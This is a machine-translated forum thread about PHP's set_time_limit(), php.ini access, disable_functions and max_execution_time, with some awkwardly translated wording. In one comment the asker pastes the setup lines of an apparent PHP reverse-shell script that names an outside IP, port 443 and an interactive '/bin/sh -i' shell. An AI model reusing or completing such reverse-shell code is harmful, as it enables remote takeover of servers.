some questions about set_time_limit() function in PHP
我对PHP中的set_time_limit()函数有3个问题:
当用户没有访问PHP.ini的权限时,他可以更改set_time_limit()函数的值吗?
我该怎么做才能停止重新启动set_time_limit()函数?
另一种方式:我不想运行set_time_limit()。 我能做什么?
-
我没明白你的意思! 如果我说不好,我的英语不好!
-
他在谈论您在问题中遇到的所有问题。 在互联网上,多数民众赞成在大喊。
-
1:是的,除非PHP在安全模式下运行,否则用户可以使用set_time_limit()。 2/3:您是否正在运行服务器,并且要防止其他用户覆盖超时? 如果是这样,您可以使用php.ini中的disabled_functions指令关闭set_time_limit。 这样,用户将无法调用该函数。
-
@shaunc如果您要回答问题,请将其发布为答案,而不是评论。
至1:
是的,即使用户无权访问php.ini,也可以调用该函数。您可以使用safe_mode(5.4中的DEPRECATED和REMOVED)或disabled_functions ini指令来避免这种情况。但是,set_time_limit具有潜在的误导性(请参阅下文)。如果您不想更改php.ini,则可以在Web上下文中在服务器级别或使用的cgi配置中设置最大响应时间。
到2还回答3:
禁用该功能和/或设置max_execution_time。
注意:set_time_limit计算当前正在运行的php脚本的执行时间,而不是脚本花费在等待外部资源上的时间(Windows上的课程例外)。
-
谢谢您的回答:x第一个家伙(向上)说我们无法访问php.ini,所以我们不能更改它!但是我没有完全回答你对第一个问题的回答!我如何不允许用户更改值?
-
在回答问题2和3时,如果我在值中输入大量数字,这不会有问题吗?还是我可以使用其他任何东西?什么是max_execution?怎么用呢?非常感谢:X
-
如果您控制服务器,则可以禁用php.ini中的某些功能。对php.ini的访问基于简单的文件系统权限。但是,可以在运行时设置许多php.ini选项(在此处列出)。 max_execution_time是set_time_limit()的php.ini副本。将max_execution_time设置为高值通常不是问题,因为apache / iis将中止长时间运行的请求。
-
谢谢 !我懂了 ! :x我还有一个问题!您说过,我们可以在php.ini中更改set_time_limit()。看一下这个脚本:set_time_limit(0); $ VERSION =" 1.0"; $ ip = 151.233.143.114; //更改此$ port = 443; //更改此$ chunk_size = 1400; $ write_a = null; $ error_a = null; $ shell = uname -a; w; ID; / bin / sh -i; $ daemon = 0; $调试= 0;没有php.ini在这里!这还算什么?非常感谢:x
-
在网络中......
-
某处可能涉及php.ini。查看phpinfo()的结果以找到它。无论如何,如果您有一个与这个问题无关的问题,您应该问一个新的问题,如果那不是重复的话。找到它的方法已经在这里
-
所以,所以,所以谢谢:X我只是要去这个!我的php.ini在这里:/etc/php.ini。 set_time_limit()可以在哪个版本上运行,用户可以更改该版本?或者哪个版本的php用户可以更改set_time_limit()的值?非常感谢:D:X
-
没人知道 ?最后的评论?
PHP手册-set_time_limit函数的set_time_limit函数可以轻松回答您的三个问题。
1-用户仅无权限通过文件系统更改php.ini时没有权限
2和3-如果您具有正确的权限,则可以在php.ini上更改max_execution_time。赋予它巨大的价值(尽管不建议这样做)